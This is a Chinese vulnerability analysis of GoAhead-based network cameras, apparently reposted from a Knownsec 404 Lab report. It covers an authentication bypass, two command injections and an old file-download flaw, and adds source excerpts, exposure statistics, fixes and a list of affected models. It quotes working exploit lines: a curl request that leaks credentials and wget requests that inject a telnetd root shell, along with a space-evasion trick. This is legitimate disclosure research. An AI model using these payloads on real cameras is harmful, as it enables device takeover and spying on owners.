zoukankan      html  css  js  c++  java
  • 抓住“新代码”的影子 —— 基于GoAhead系列网络摄像头多个漏洞分析

    PDF 版本下载:抓住“新代码”的影子 —— 基于GoAhead系列网络摄像头多个漏洞分析

    Author:知道创宇404实验室 Date:2017/03/19

    一.漏洞背景

    GoAhead作为世界上最受欢迎的嵌入式Web服务器被部署在数亿台设备中,是各种嵌入式设备与应用的理想选择。当然,各厂商也会根据不同产品需求对其进行一定程度的二次开发。

    2017年3月7日,Seebug漏洞平台收录了一篇基于GoAhead系列摄像头的多个漏洞。该漏洞为Pierre Kim在博客上发表的一篇文章,披露了存在于1250多个摄像头型号的多个通用型漏洞。其在文章中将其中一个验证绕过漏洞归类为GoAhead服务器的漏洞,但事后证明,该漏洞却是由厂商二次开发GoAhead服务器产生的。于此同时,Pierre Kim将其中两个漏洞组合使用,成功获取了摄像头的最高权限。

    二.漏洞分析

    当我们开始着手分析这些漏洞时发现GoAhead官方源码不存在该漏洞,解开的更新固件无法找到对应程序,一系列困难接踵而至。好在根据该漏洞特殊变量名称loginuse和loginpas,我们在github上找到一个上个月还在修改的门铃项目。抓着这个“新代码”的影子,我们不仅分析出了漏洞原理,还通过分析结果找到了漏洞新的利用方式。

    由于该项目依赖的一些外部环境导致无法正常编译,我们仅仅通过静态代码分析得出结论,因此难免有所疏漏。如有错误,欢迎指正。:)

    1.验证绕过导致的信息(登录凭据)泄漏漏洞

    作者给出POC: curl http://ip:port/system.ini?loginuse&loginpas
    

    根据作者给出的POC,我们进行了如下测试:

    可以看出,只要url中含有loginuseloginpas这两个值即无需验证。甚至当这两个值对应的账号密码为空或者为错误的zzzzzzzzzzzzzz时均可通过验证。

    看到这里,我们大致可以判断出验证loginuseloginpas的逻辑问题导致该漏洞的出现。于是,在此门铃项目中直接搜索loginuse定位到关键函数。

    /func/ieparam.c6407-6485AdjustUserPri函数如下:

    unsigned char AdjustUserPri( char* url )
    {
        int     iRet;
        int     iRet1;
        unsigned char   byPri = 0;
        char        loginuse[32];
        char        loginpas[32];
        char        decoderbuf[128];
        char        temp2[128];
        memset( loginuse, 0x00, 32 );
        memset( loginpas, 0x00, 32 );
        memset( temp2, 0x00, 128 );
        iRet = GetStrParamValue( url, "loginuse", temp2, 31 );
    //判断是否存在loginuse值,并将获取到的值赋给temp2
        if ( iRet == 0x00 )
        {
            memset( decoderbuf, 0x00, 128 );
            URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
            memset( loginuse, 0x00, 31 );
            strcpy( loginuse, decoderbuf );
        }
    //如果存在,则将temp2复制到loginuse数组中
        memset( temp2, 0x00, 128 );
        iRet1 = GetStrParamValue( url, "loginpas", temp2, 31 );
    //判断是否存在loginpas值,并将获取到的值赋给temp2
        if ( iRet1 == 0x00 )
        {
            memset( decoderbuf, 0x00, 128 );
            URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
            memset( loginpas, 0x00, 31 );
            strcpy( loginpas, decoderbuf );
        }
    //如果存在,则将temp2复制到loginpas数组中
        if ( iRet == 0 )
        {
            if ( iRet1 == 0x00 )
            {
                //printf("user %s pwd:%s
    ",loginuse,loginpas);
                byPri = GetUserPri( loginuse, loginpas );
    //如果两次都获取到了对应的值,则通过GetUserPri进行验证。
                return byPri;
            }
        }
    
        memset( loginuse, 0x00, 32 );
        memset( loginpas, 0x00, 32 );
        memset( temp2, 0x00, 128 );
        iRet = GetStrParamValue( url, "user", temp2, 31 );
    
        if ( iRet == 0x00 )
        {
            memset( decoderbuf, 0x00, 128 );
            URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
            memset( loginuse, 0x00, 31 );
            strcpy( loginuse, decoderbuf );
        }
    
        memset( temp2, 0x00, 128 );
        iRet1 = GetStrParamValue( url, "pwd", temp2, 31 );
    
        if ( iRet1 == 0x00 )
        {
            memset( decoderbuf, 0x00, 128 );
            URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
            memset( loginpas, 0x00, 31 );
            strcpy( loginpas, decoderbuf );
        }
    
        if ( iRet == 0 )
        {
            if ( iRet1 == 0x00 )
            {
                //printf("user %s pwd:%s
    ",loginuse,loginpas);
                byPri = GetUserPri( loginuse, loginpas );
                return byPri;
            }
        }
    //获取user和pwd参数,逻辑结构与上方的loginuse和loginpas相同。
        return byPri;
    }
    

    我们对其中步骤做了注释,根据这段逻辑,我们先通过GetStrParamValue()获取loginuseloginpas对应值,然后将获取值通过GetUserPri()函数进行验证。跟进GetStrParamValue()这个函数,我们发现了更奇怪的事情。 command/cmd_thread.c中第13-51GetStrParamValue()函数如下:

    //结合上面代码中的iRet = GetStrParamValue( url, "loginuse", temp2, 31 );审视这段代码
    int GetStrParamValue( const char* pszSrc, const char* pszParamName, char* pszParamValue )
    {
        const char* pos1, *pos = pszSrc;
        unsigned char       len = 0;
    
        if ( !pszSrc || !pszParamName )
        {
            return -1;
        }
    //判断url和需要查找的变量loginuse是否存在
    
        pos1 = strstr( pos, pszParamName );
    
        if ( !pos1 )
        {
            return -1;
        }
    //由于url中含有loginuse,所以这里pos1可以取到对应的值,故不进入if(!pos1)
    
        pos = pos1 + strlen( pszParamName ) + 1;
        pos1 = strstr( pos, "&" );
    
        if ( pos1 )
        {
            memcpy( pszParamValue, pos, pos1 - pos );
    //根据正常情况loginuse=admin&loginpas=xxx,这一段代码的逻辑是从loginuse后一位也就是等于号开始取值直到&号作为loginuse对应的值。
    //根据作者的POC:loginuse&loginpas,最终这里pos应该位于pos1后一位,所以pos1-pos = -1
    //memcpy( pszParamValue, pos, -1 );无法运行成功。
            len = pos1 - pos;
        }
    
        else
        {
            pos1 = strstr( pos, " " );
    
            if ( pos1 != NULL )
            {
                memcpy( pszParamValue, pos, pos1 - pos );
                len = pos1 - pos;
            }
        }
        return 0;
    //不论上述到底如何取值,最终都可以返回0
    }
    

    根据作者给出的POC,在memcpy()函数处会导致崩溃,但事实上,我们的web服务器正常运行并返回system.ini具体内容。这一点令我们百思不得其解。当我们对AdjustUserPri()函数向上溯源时终于弄清楚是上层代码问题导致代码根本无法运行到这里,所以也不会导致崩溃。 func/ieparam.c文件第7514-7543行调用了AdjustUserPri()函数:

    if ( auth == 0x00 )
    {
        char temp[512];
        int  wlen = 0;
    
        if ( len )
        {
            return 0;
        }
    
        #if 0
        byPri = AdjustUserPri( url );
    
        printf("url:%s byPri %d
    ",url,byPri);
        if ( byPri == 0x00 )
        {
            memset( temp, 0x00, 512 );
            wlen += sprintf( temp + wlen, "var result="Auth Failed";
    " );
            memcpy( pbuf, temp, wlen );
            return wlen;
        }
        #else
        byPri = 255;
        #endif
    }
    
    else
    {
        byPri = pri;
    }
    

    在之前跟GetUserPri()函数时有一行注释://result:0->error user or passwd error 1->vistor 2->opration 255->admin。当我们回头再看这段函数时,可以发现开发者直接将验证部分注释掉,byPri被直接赋值为255,这就意味着只要进入这段逻辑,用户权限就直接是管理员了。这里已经可以解释本小节开篇进行的测试了,也就是为什么我们输入空的用户名和密码或者错误的用户名和密码也可以通过验证。

    很遗憾,我们没有继续向上溯源找到这里的auth这个值到底是如何而来。不过根据这里的代码逻辑,我们可以猜测,当auth0时,通过GET请求中的参数验证用户名密码。当auth不为0时,通过HTTP摘要验证方式来验证用户名密码。

    再看一遍上方代码,GET请求中含有参数loginuseloginpas就直接可以通过验证。那么AdjustUserPri()函数中另外两个具有相同逻辑的参数userpwd呢?成功抓住"新代码"的影子

    2.远程命令执行漏洞一(需登录)

    作者给出的exp如下:

    user@kali$ wget -qO- 'http://192.168.1.107/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(telnetd -p25 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0'
    user@kali$ wget -qO- 'http://192.168.1.107/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin'
    

    可以看到,该exp分为两步,第一步先设置ftp各种参数,第二步按照第一步设置的各参数测试ftp链接,同时导致我们在第一步设置的命令被执行。

    我们在func/ieparam.c文件中找到了set_ftp.cgiftptest.cgi的调用过程

    383:    pdst = strstr( pcmd, "ftptest.cgi" );
    384:
    385:    if ( pdst != NULL )
    386:    {
    387:        return CGI_IESET_FTPTEST;
    388:    }
    
    455:    pdst = strstr( pcmd, "set_ftp.cgi" );
    456:
    457:    if ( pdst != NULL )
    458:    {
    459:        return CGI_IESET_FTP;
    460:    }
    
    7658:   case CGI_IESET_FTPTEST:
    7659:       if ( len == 0x00 )
    7660:       {
    7661:           iRet = cgisetftptest( pbuf, pparam, byPri );
    7662:       }
    
    7756:   case CGI_IESET_FTP:
    7757:       if ( len == 0x00 )
    7758:       {
    7759:           iRet = cgisetftp( pbuf, pparam, byPri );
    7760:           NoteSaveSem();
    7761:       }
    

    首先跟踪cgisetftp( pbuf, pparam, byPri );这个函数,我们发现,该函数仅仅是获取到我们请求的参数并将参数赋值给结构体中的各个变量。关键代码如下:

    //这部分代码可以不做细看,下一步我们进行ftp测试连接的时候对照该部分寻找对应的值就可以了。
        iRet = GetStrParamValue( pparam, "svr", temp2, 63 );
        URLDecode( temp2, strlen( temp2 ), decoderbuf, 63 );
        strcpy( bparam.stFtpParam.szFtpSvr, decoderbuf );
    
        GetIntParamValue( pparam, "port", &iValue );
        bparam.stFtpParam.nFtpPort = iValue;
    
        iRet = GetStrParamValue( pparam, "user", temp2, 31 );
        URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 );
        strcpy( bparam.stFtpParam.szFtpUser, decoderbuf );
    
        memset( temp2, 0x00, 64 );
        iRet = GetStrParamValue( pparam, "pwd", temp2, 31 );
        URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 );
        strcpy( bparam.stFtpParam.szFtpPwd, decoderbuf );
    //我们构造的命名被赋值给了参数bparam.stFtpParam.szFtpPwd
        iRet = GetStrParamValue( pparam, "dir", temp2, 31 );
        URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 );
        strcpy( bparam.stFtpParam.szFtpDir, decoderbuf );
        if(decoderbuf[0] == 0)
        {
            strcpy(bparam.stFtpParam.szFtpDir, "/" );
        }
    
        GetIntParamValue( pparam, "mode", &iValue );
        bparam.stFtpParam.byMode = iValue;
        GetIntParamValue( pparam, "upload_interval", &iValue );
        bparam.stFtpParam.nInterTime = iValue;
    
        iRet = GetStrParamValue( pparam, "filename", temp1, 63 );
        URLDecode( temp2, strlen( temp2 ), decoderbuf, 63 );
        strcpy( bparam.stFtpParam.szFileName, decoderbuf );
    

    综上所述,set_ftp.cgi仅仅是将我们请求的各参数写入全局变量中。 接下来是ftptest.cgi部分,也就是调用了iRet = cgisetftptest( pbuf, pparam, byPri );这个函数。在该函数中,最为关键的函数为DoFtpTest();。直接跳到func/ftp.c文件中找到函数DoFtpTest()

    int DoFtpTest( void )
    {
        int     iRet = 0;
        iRet = FtpConfig( 0x01, NULL );
    
        if ( iRet == 0 )
        {
            char cmd[128];
            memset(cmd, 0, 128);
            sprintf(cmd, "/tmp/ftpupdate1.sh > %s", FILE_FTP_TEST_RESULT);
            iRet = DoSystem(cmd);
            //iRet = DoSystem( "/tmp/ftpupdate1.sh > /tmp/ftpret.txt" );
        }
    
        return iRet;
    }
    

    可以看到,执行 FtpConfig()函数后运行了/tmp/ftpupdate1.sh。先让我们看看 FtpConfig()函数如何 处理该问题:

    int FtpConfig( char test, char* filename )
    {
    ......
        fp = fopen( "/tmp/ftpupdate1.sh", "wb" );
    
        memset( cmd, 0x00, 128 );
        sprintf( cmd, "/system/system/bin/ftp -n<<!
    " );
        fwrite( cmd, 1, strlen( cmd ), fp );
        memset( cmd, 0x00, 128 );
        sprintf( cmd, "open %s %d
    ", bparam.stFtpParam.szFtpSvr, bparam.stFtpParam.nFtpPort );
        fwrite( cmd, 1, strlen( cmd ), fp );
        memset( cmd, 0x00, 128 );
        sprintf( cmd, "user %s %s
    ", bparam.stFtpParam.szFtpUser, bparam.stFtpParam.szFtpPwd );
        fwrite( cmd, 1, strlen( cmd ), fp );
        memset( cmd, 0x00, 128 );
        sprintf( cmd, "binary
    " );
        fwrite( cmd, 1, strlen( cmd ), fp );
    
        if ( bparam.stFtpParam.byMode == 1 )    //passive
        {
            memset( cmd, 0x00, 128 );
            sprintf( cmd, "pass
    " );
            fwrite( cmd, 1, strlen( cmd ), fp );
        }
    #ifdef CUSTOM_DIR
    
        char sub_temp[ 128 ];
        memset(sub_temp, 0, 128);
        //strcpy(sub_temp, bparam.stFtpParam.szFtpDir);
        sprintf(sub_temp, "%s/%s", bparam.stFtpParam.szFtpDir,bparam.stIEBaseParam.dwDeviceID); 
    
        flag = sub_dir(fp,sub_temp);
        if(flag){
            memset( cmd, 0x00, 128 );
            sprintf( cmd, "cd %s
    ", bparam.stFtpParam.szFtpDir );
            fwrite( cmd, 1, strlen( cmd ), fp );
        }
    #else
        memset( cmd, 0x00, 128 );
        sprintf( cmd, "cd %s
    ", bparam.stFtpParam.szFtpDir );
        fwrite( cmd, 1, strlen( cmd ), fp );
    
    #endif
        memset( cmd, 0x00, 128 );
        sprintf( cmd, "lcd /tmp
    " );
        fwrite( cmd, 1, strlen( cmd ), fp );
    
        if ( test == 0x01 )
        {
            FtpFileTest();
            memset( cmd, 0x00, 128 );
            sprintf( cmd, "put ftptest.txt
    " );
            fwrite( cmd, 1, strlen( cmd ), fp );
        }
    
        else
        {
            char    filename1[128];
            memset( filename1, 0x00, 128 );
            memcpy( filename1, filename + 5, strlen( filename ) - 5 );
            memset( cmd, 0x00, 128 );
            sprintf( cmd, "put %s
    ", filename1 );
            fwrite( cmd, 1, strlen( cmd ), fp );
        }
    
        memset( cmd, 0x00, 128 );
        sprintf( cmd, "close
    " );
        fwrite( cmd, 1, strlen( cmd ), fp );
        memset( cmd, 0x00, 128 );
        sprintf( cmd, "bye
    " );
        fwrite( cmd, 1, strlen( cmd ), fp );
        memset( cmd, 0x00, 128 );
        sprintf( cmd, "!
    " );
        fwrite( cmd, 1, strlen( cmd ), fp );
        fclose( fp );
        iRet = access( "/tmp/ftpupdate1.sh", X_OK );
    
        if ( iRet )
        {
            DoSystem( "chmod a+x /tmp/ftpupdate1.sh" );
        }
    
        return 0;
    }
    

    至此,逻辑很清晰了。在FtpConfig()函数中,将我们之前在设置的时候输入的各个值写入了/tmp/ftpupdate1.sh中,然后在DoFtpTest()中运行该脚本,导致最后的命令执行。这一点,同样可以在漏洞作者原文中得到证明:

    作者原文中展示的/tmp/ftpupload.sh:
    / # cat /tmp/ftpupload.sh 
    /bin/ftp -n<<!
    open 192.168.1.1 21
    user ftp $(telnetd -l /bin/sh -p 25)ftp
    binary
    lcd /tmp
    put ftptest.txt
    close
    bye
    !
    / #
    

    实际测试中,我们发现:如果直接用作者给出的exp去尝试RCE往往是不能成功的。从http://ip:port/get_params.cgi?user=username&pwd=password可以发现,我们注入的命令在空格处被截断了。

    于是我们用${IFS}替换空格(还可以采用+代替空格):

    但是由于有长度限制再次被截断,调整长度,最终成功执行命令:

    成功抓住新代码的影子

    3.GoAhead绕过验证文件下载漏洞

    2017年3月9日,Pierre Kim在文章中增加了两个链接,描述了一个GoAhead 2.1.8版本之前的任意文件下载漏洞。攻击者通过使用该漏洞,再结合一个新的远程命令执行漏洞可以再次获取摄像头的最高权限。有意思的是,这个漏洞早在2004年就已被提出并成功修复(http://aluigi.altervista.org/adv/goahead-adv2.txt)。但是由于众多摄像头仍然使用存在该漏洞的老代码,该漏洞仍然可以在众多摄像头设备复现。

    我们也查找了此门铃项目中的GoAhead服务器版本。web/release.txt前三行内容如下:

    =====================================
    GoAhead WebServer 2.1.8 Release Notes
    =====================================
    

    再仔细查看websUrlHandlerRequest()内容,发现并未对该漏洞进行修复,说明该漏洞也影响这个门铃项目。以此类推,本次受影响的摄像头应该也存在这个漏洞,果不其然:那么,具体的漏洞成因又是如何呢?让我们来跟进./web/LINUX/main.c了解该漏洞的成因: initWebs()函数中,关键代码如下:

    154:   umOpen();
    
    157:   umAddGroup( T( "adm" ), 0x07, AM_DIGEST, FALSE, FALSE );
    
    159:   umAddUser( admu, admp, T( "adm" ), FALSE, FALSE );
    160:   umAddUser( "admin0", "admin0", T( "adm" ), FALSE, FALSE );
    161:   umAddUser( "admin1", "admin1", T( "adm" ), FALSE, FALSE );
    162:   umAddAccessLimit( T( "/" ), AM_DIGEST, FALSE, T( "adm" ) );
    
    224:   websUrlHandlerDefine( T( "" ), NULL, 0, websSecurityHandler, WEBS_HANDLER_FIRST );
    227:   websUrlHandlerDefine( T( "" ), NULL, 0, websDefaultHandler,WEBS_HANDLER_LAST );
    

    其中,150-160um开头的函数为用户权限控制的相关函数。主要做了以下四件事情: 1. umOpen() 打开用户权限控制 2. umAddGroup() 增加用户组adm,并设置该用户组用户使用HTTP摘要认证方式登录 3. umAddUser() 增加用户admin,admin0,admin1,并且这三个用户均属于adm用户组 4. umAddAccessLimit()增加限制路径/,凡是以/开头的路径都要通过HTTP摘要认证的方式登录属于adm组的用户。

    紧接着,在220多行通过websUrlHandlerDefine()函数运行了两个HandlerwebsSecurityHandlerwebsDefaultHandler。在websSecurityHandler中,对HTTP摘要认证方式进行处理。关键代码如下:

    86:           accessLimit = umGetAccessLimit( path );
    
    115:         am = umGetAccessMethodForURL( accessLimit );
    116:         nRet = 0;
    
    118-242:  if ( ( flags & WEBS_LOCAL_REQUEST ) && ( debugSecurity == 0 ) ){……}
    
    245:         return nRet;
    

    第86行,umGetAccessLimit()函数用于将我们请求的路径规范化,主要逻辑就是去除路径最后的/或者\,确保我们请求的是一个文件。umGetAccessMethodForURL()函数用于获取我们请求的路径对应的权限。这里,我们请求的路径是system.ini,根据上文,我们的设置是对/路径需要进行HTTP摘要认证,由于程序判断system.ini不属于/路径,所以这里am为默认的AM_INVALID,即无需验证。

    紧接着向下,nRet初始化赋值为0.在118-242行中,如果出现了账号密码错误等情况,则会将nRet赋值为1,表示验证不通过。但是由于我们请求的路径无需验证,所以判断结束时nRet仍为0。因此,顺利通过验证,获取到对应的文件内容。

    就这样,我们再次抓住了这个”新代码”的影子,虽然这个2004年的漏洞让我们不得不为新代码这三个字加上了双引号。

    4.远程命令执行漏洞二(需登录)

    在Pierre Kim新增的两个链接中,还介绍了一种新的远程命令执行的方式。即通过set_mail.cgimailtest.cgi来执行命令。 与上一个远程命令执行漏洞一样,我们先在func/ieparam.c文件中找到set_mail.cgimailtest.cgi的调用过程

    257:    pdst = strstr( pcmd, "set_mail.cgi" );
    258:
    259:    if ( pdst != NULL )
    260:    {
    261:        return CGI_IESET_MAIL;
    262:    }
    
    348:    pdst = strstr( pcmd, "mailtest.cgi" );
    349:
    350:    if ( pdst != NULL )
    351:    {
    352:        return CGI_IESET_MAILTEST;
    353:}
    
    7674:   case CGI_IESET_MAILTEST:
    7675:       if ( len == 0x00 )
    7676:       {
    7677:           iRet = cgisetmailtest( pbuf, pparam, byPri );
    7678:       }
    7679:
    7680:       break;
    
    7746:   case CGI_IESET_MAIL:
    7747:       if ( len == 0x00 )
    7748:       {
    7749:           iRet = cgisetmail( pbuf, pparam, byPri );
    7750:           IETextout( "-------------OK--------" );
    7751:           NoteSaveSem();
    7752:       }
    7753:
    7754:       break;
    

    跟上一个远程命令执行漏洞类似,cgisetmail()函数用于将各参数储存到结构体,例如sender参数赋值给bparam.stMailParam.szSenderreceiver1参数赋值给bparam.stMailParam.szReceiver1。 接着,来到了cgisetmailtest()函数:

    int cgisetmailtest( unsigned char* pbuf, char* pparam, unsigned char byPri )
    {
        unsigned char   temp[2048];
        int             len = 0;
        int             result = 0;
        char            nexturl[64];
        int     iRet = 0;
        memset( temp, 0x00, 2048 );
    
        //iRet = DoMailTest();
        if(iRet == 0)
        {
            IETextout("Mail send over, OK or Not");
        }
        /* END:   Added by Baggio.wu, 2013/10/25 */
    
        memset( nexturl, 0x00, 64 );
        iRet = GetStrParamValue( pparam, "next_url", nexturl, 63 );
    
        if ( iRet == 0x00 )
        {
    #if 1
            len += RefreshUrl( temp + len, nexturl );
    #endif
            memcpy( pbuf, temp, len );
        }
    
        else
        {
            len += sprintf( temp + len, "var result="ok";
    " );
            memcpy( pbuf, temp, len );
        }
    
        printf( "sendmail len:%d
    ", len );
        return len;
    }
    

    该函数第十行已被注释掉。这是使用此函数发送邮件证据的唯一可寻之处。虽然被注释掉了,我们也要继续跟踪DoMailTest()这个函数:

    int DoMailTest( void )  //email test
    {
        int     iRet = -1;
        char    cmd[256];
    
        if ( bparam.stMailParam.szSender[0] == 0 )
        {
            return -1;
        }
    
        if ( bparam.stMailParam.szReceiver1[0] != 0x00 )
        {
            iRet = EmailConfig();
    
            if ( iRet )
            {
                return -1;
            }
    
            memset( cmd, 0x00, 256 );
    
            /* BEGIN: Modified by Baggio.wu, 2013/9/9 */
            sprintf( cmd, "echo "mail test ok" | /system/system/bin/mailx -r %s -s "mail test"  %s",
                     bparam.stMailParam.szSender, bparam.stMailParam.szReceiver1 );
            //sprintf( cmd, "echo "mail test ok" | /system/system/bin/mailx -v -s "mail test"  %s",
            //         bparam.stMailParam.szReceiver1 );
    
            printf( "start cmd:%s
    ", cmd );
            EmailWrite( cmd, strlen( cmd ) );
            //emailtest();
            printf( "cmd:%s
    ", cmd );
    
        }
    
        return iRet;
    }
    

    可以看到sprintf( cmd, "echo "mail test ok" | /system/system/bin/mailx -r %s -s "mail test" %s",bparam.stMailParam.szSender, bparam.stMailParam.szReceiver1 );发件人和收件人都直接被拼接成命令导致最后的命令执行。

    三.漏洞影响范围

    ZoomEye网络空间探测引擎探测结果显示,全球范围内共查询到78万条历史记录。我们根据这78万条结果再次进行探测,发现这些设备一共存在三种情况:

    • 第一种是设备不存在漏洞。
    • 第二种是设备存在验证绕过漏洞,但是由于web目录下没有system.ini,导致最终无法被利用。可以看到,当我们直接请求system.ini的时候,显示需要认证,但是当我们绕过验证之后,却显示404 not found

    • 最后一种是设备既存在验证绕过漏洞,又存在system.ini文件。这些设备就存在被入侵的风险。

    我们统计了最后一种设备的数量,数据显示有近7万的设备存在被入侵的风险。这7万设备的国家分布图如下:可以看出,美国、中国、韩国、法国、日本属于重灾区。我国一共有 7000 多台设备可能被入侵,其中近 6000 台位于香港。我们根据具体数据做成两张柱状图以便查看:

    (注:None为属于中国,但未解析出具体地址的IP)

    我们通过查询ZoomEye网络空间探测引擎历史记录,导出2016年1月1日,2017年1月1日和本报告编写时2017年3月14日三个时间点的数据进行分析。

    在这三个时间点,我们分别收录了banner中含有GoAhead 5ccc069c403ebaf9f0171e9517f40e41的设备26万台、65万台和78万台。

    但是这些ip中,存在漏洞的设备增长趋势却完全不同。

    可以看到,2016年1月1日已探明的设备中目前仅有2000多台存在漏洞,2017年1月1日之前探明的设备中有近3万台存在漏洞,仅仅两个多月后的今天,已有近7万台设备存在漏洞。

    根据以上数据,我们可以做出如下判断:该漏洞出现时间大约是去年,直到今年被曝光之后才被大家所关注。在此期间,旧摄像头通过更新有漏洞固件的方式导致了该漏洞的出现,而那些新生产的摄像头则被销售到世界各地。根据今年新增的ip的地理位置,我们可以大致判断出这些存在漏洞的摄像头今年被销往何地。根据数据,我们可以看到,主要销售到了美国、中国、韩国、日本。中国新增了5316台存在漏洞的摄像头,其中4000多台位于香港。

    四.修复方案

    1.将存在漏洞的摄像头设备放置于内网。 2.及时升级到最新固件。 3.对于可能被感染的设备,可以采取重启的方式来杀死驻留在内存里的恶意进程。

    五.参考链接

    1. https://www.seebug.org/vuldb/ssvid-92789
    2. https://www.seebug.org/vuldb/ssvid-92748
    3. https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html
    4. https://github.com/kuangxingyiqing/bell-jpg
    5. http://aluigi.altervista.org/adv/goahead-adv2.txt

    附表1:Pierre Kim给出的受影响设备列表:

    列表如下:
    3G+IPCam Other
    3SVISION Other
    3com CASA
    3com Other
    3xLogic Other
    3xLogic Radio
    4UCAM Other
    4XEM Other
    555 Other
    7Links 3677
    7Links 3677-675
    7Links 3720-675
    7Links 3720-919
    7Links IP-Cam-in
    7Links IP-Wi-Fi
    7Links IPC-760HD
    7Links IPC-770HD
    7Links Incam
    7Links Other
    7Links PX-3615-675
    7Links PX-3671-675
    7Links PX-3720-675
    7Links PX3309
    7Links PX3615
    7Links ipc-720
    7Links px-3675
    7Links px-3719-675
    7Links px-3720-675
    A4Tech Other
    ABS Other
    ADT RC8021W
    AGUILERA AQUILERA
    AJT AJT-019129-BBCEF
    ALinking ALC
    ALinking Other
    ALinking dax
    AMC Other
    ANRAN ip180
    APKLINK Other
    AQUILA AV-IPE03
    AQUILA AV-IPE04
    AVACOM 5060
    AVACOM 5980
    AVACOM H5060W
    AVACOM NEW
    AVACOM Other
    AVACOM h5060w
    AVACOM h5080w
    Acromedia IN-010
    Acromedia Other
    Advance Other
    Advanced+home lc-1140
    Aeoss J6358
    Aetos 400w
    Agasio A500W
    Agasio A502W
    Agasio A512
    Agasio A533W
    Agasio A602W
    Agasio A603W
    Agasio Other
    AirLink Other
    Airmobi HSC321
    Airsight Other
    Airsight X10
    Airsight X34A
    Airsight X36A
    Airsight XC39A
    Airsight XX34A
    Airsight XX36A
    Airsight XX40A
    Airsight XX60A
    Airsight x10
    Airsight x10Airsight
    Airsight xc36a
    Airsight xc49a
    Airsight xx39A
    Airsight xx40a
    Airsight xx49a
    Airsight xx51A
    Airsight xx51a
    Airsight xx52a
    Airsight xx59a
    Airsight xx60a
    Akai AK7400
    Akai SP-T03WP
    Alecto 150
    Alecto Atheros
    Alecto DVC-125IP
    Alecto DVC-150-IP
    Alecto DVC-1601
    Alecto DVC-215IP
    Alecto DVC-255-IP
    Alecto dv150
    Alecto dvc-150ip
    Alfa 0002HD
    Alfa Other
    Allnet 2213
    Allnet ALL2212
    Allnet ALL2213
    Amovision Other
    Android+IP+cam IPwebcam
    Anjiel ip-sd-sh13d
    Apexis AH9063CW
    Apexis APM-H803-WS
    Apexis APM-H804-WS
    Apexis APM-J011
    Apexis APM-J011-Richard
    Apexis APM-J011-WS
    Apexis APM-J012
    Apexis APM-J012-WS
    Apexis APM-J0233
    Apexis APM-J8015-WS
    Apexis GENERIC
    Apexis H
    Apexis HD
    Apexis J
    Apexis Other
    Apexis PIPCAM8
    Apexis Pyle
    Apexis XF-IP49
    Apexis apexis
    Apexis apm-
    Apexis dealextreme
    Aquila+Vizion Other
    Area51 Other
    ArmorView Other
    Asagio A622W
    Asagio Other
    Asgari 720U
    Asgari Other
    Asgari PTG2
    Asgari UIR-G2
    Atheros ar9285
    AvantGarde SUMPPLE
    Axis 1054
    Axis 241S
    B-Qtech Other
    B-Series B-1
    BRAUN HD-560
    BRAUN HD505
    Beaulieu Other
    Bionics Other
    Bionics ROBOCAM
    Bionics Robocam
    Bionics T6892WP
    Bionics t6892wp
    Black+Label B2601
    Bravolink Other
    Breno Other
    CDR+king APM-J011-WS
    CDR+king Other
    CDR+king SEC-015-C
    CDR+king SEC-016-NE
    CDR+king SEC-028-NE
    CDR+king SEC-029-NE
    CDR+king SEC-039-NE
    CDR+king sec-016-ne
    CDXX Other
    CDXXcamera Any
    CP+PLUS CP-EPK-HC10L1
    CPTCAM Other
    Camscam JWEV-372869-BCBAB
    Casa Other
    Cengiz Other
    Chinavasion Gunnie
    Chinavasion H30
    Chinavasion IP611W
    Chinavasion Other
    Chinavasion ip609aw
    Chinavasion ip611w
    Cloud MV1
    Cloud Other
    CnM IP103
    CnM Other
    CnM sec-ip-cam
    Compro NC150/420/500
    Comtac CS2
    Comtac CS9267
    Conceptronic CIPCAM720PTIWL
    Conceptronic cipcamptiwl
    Cybernova Other
    Cybernova WIP604
    Cybernova WIP604MW
    D-Link DCS-910
    D-Link DCS-930L
    D-Link L-series
    D-Link Other
    DB+Power 003arfu
    DB+Power DBPOWER
    DB+Power ERIK
    DB+Power HC-WV06
    DB+Power HD011P
    DB+Power HD012P
    DB+Power HD015P
    DB+Power L-615W
    DB+Power LA040
    DB+Power Other
    DB+Power Other2
    DB+Power VA-033K
    DB+Power VA0038K
    DB+Power VA003K+
    DB+Power VA0044_M
    DB+Power VA033K
    DB+Power VA033K+
    DB+Power VA035K
    DB+Power VA036K
    DB+Power VA038
    DB+Power VA038k
    DB+Power VA039K
    DB+Power VA039K-Test
    DB+Power VA040
    DB+Power VA390k
    DB+Power b
    DB+Power b-series
    DB+Power extcams
    DB+Power eye
    DB+Power kiskFirstCam
    DB+Power va033k
    DB+Power va039k
    DB+Power wifi
    DBB IP607W
    DEVICECLIENTQ CNB
    DKSEG Other
    DNT CamDoo
    DVR DVR
    DVS-IP-CAM Other
    DVS-IP-CAM Outdoor/IR
    Dagro DAGRO-003368-JLWYX
    Dagro Other
    Dericam H216W
    Dericam H502W
    Dericam M01W
    Dericam M2/6/8
    Dericam M502W
    Dericam M601W
    Dericam M801W
    Dericam Other
    Digix Other
    Digoo BB-M2
    Digoo MM==BB-M2
    Digoo bb-m2
    Dinon 8673
    Dinon 8675
    Dinon SEGEV-105
    Dinon segev-103
    Dome Other
    Drilling+machines Other
    E-Lock 1000
    ENSIDIO IP102W
    EOpen Open730
  • 相关阅读:
    zigbee芯片
    笔记本ubuntu安装wifi驱动(未完成)
    我错了的N个学习
    《华为工作法》读书笔记
    bbblack的网络socket通信实验
    NB-IOT连接移动onenet平台流程
    移动onenet基础通信套件V1.08版本的AT指令测试
    CC3200使用MQTT的SSL加密证书可用日期修改
    利尔达NB-IOT模块烧写固件的步骤
    树莓派相机
  • 原文地址:https://www.cnblogs.com/HacTF/p/8052228.html
Copyright © 2011-2022 走看看